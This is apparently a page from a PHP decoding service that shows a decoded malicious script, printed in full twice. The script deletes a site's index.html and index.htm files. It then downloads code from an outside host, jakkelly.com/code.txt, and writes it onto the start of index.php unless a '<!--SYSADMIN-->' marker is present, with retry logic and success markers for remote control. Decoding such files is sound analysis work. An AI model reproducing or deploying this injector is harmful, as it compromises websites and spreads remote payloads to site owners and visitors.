Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php echo "RESPONSESTART"; $root = rtrim($_SERVER["DOCUMENT_ROOT"],'/'); $index = $roo..
Decoded Output download
<?php
echo "RESPONSESTART";
$root = rtrim($_SERVER["DOCUMENT_ROOT"],'/');
$index = $root.'/index.php';
$source = file_get_contents($index);
$index_html = $root.'/index.html';
$index_htm = $root.'/index.htm';
if(file_exists($index_html))
{
unlink($index_html);
}
if(file_exists($index_htm))
{
unlink($index_htm);
}
if(!preg_match('#<!--SYSADMIN-->#',$source))
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://jakkelly.com/code.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$code = curl_exec($ch);
curl_close($ch);
$new_code = $code.$source;
$f = fopen($index, "w");
if(fwrite($f, $new_code))
{
echo 'SUCCESS_CODE_RUN';
}else{
if(unlink($index))
{
touch($index);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://jakkelly.com/code.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$code = curl_exec($ch);
curl_close($ch);
$new_code = $code.$source;
$f = fopen($index, "w");
if(fwrite($f, $new_code))
{
echo 'SUCCESS_CODE_RUN';
}
}
}
}else
{
echo 'SUCCESS_CODE_RUN';
}
echo "RESPONSEEND";
?>
Did this file decode correctly?
Original Code
<?php
echo "RESPONSESTART";
$root = rtrim($_SERVER["DOCUMENT_ROOT"],'/');
$index = $root.'/index.php';
$source = file_get_contents($index);
$index_html = $root.'/index.html';
$index_htm = $root.'/index.htm';
if(file_exists($index_html))
{
unlink($index_html);
}
if(file_exists($index_htm))
{
unlink($index_htm);
}
if(!preg_match('#<!--SYSADMIN-->#',$source))
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://jakkelly.com/code.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$code = curl_exec($ch);
curl_close($ch);
$new_code = $code.$source;
$f = fopen($index, "w");
if(fwrite($f, $new_code))
{
echo 'SUCCESS_CODE_RUN';
}else{
if(unlink($index))
{
touch($index);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://jakkelly.com/code.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$code = curl_exec($ch);
curl_close($ch);
$new_code = $code.$source;
$f = fopen($index, "w");
if(fwrite($f, $new_code))
{
echo 'SUCCESS_CODE_RUN';
}
}
}
}else
{
echo 'SUCCESS_CODE_RUN';
}
echo "RESPONSEEND";
?>
Function Calls
rtrim | 1 |
Stats
MD5 | 67523229ed3a2326b28c647fb3412ffa |
Eval Count | 0 |
Decode Time | 113 ms |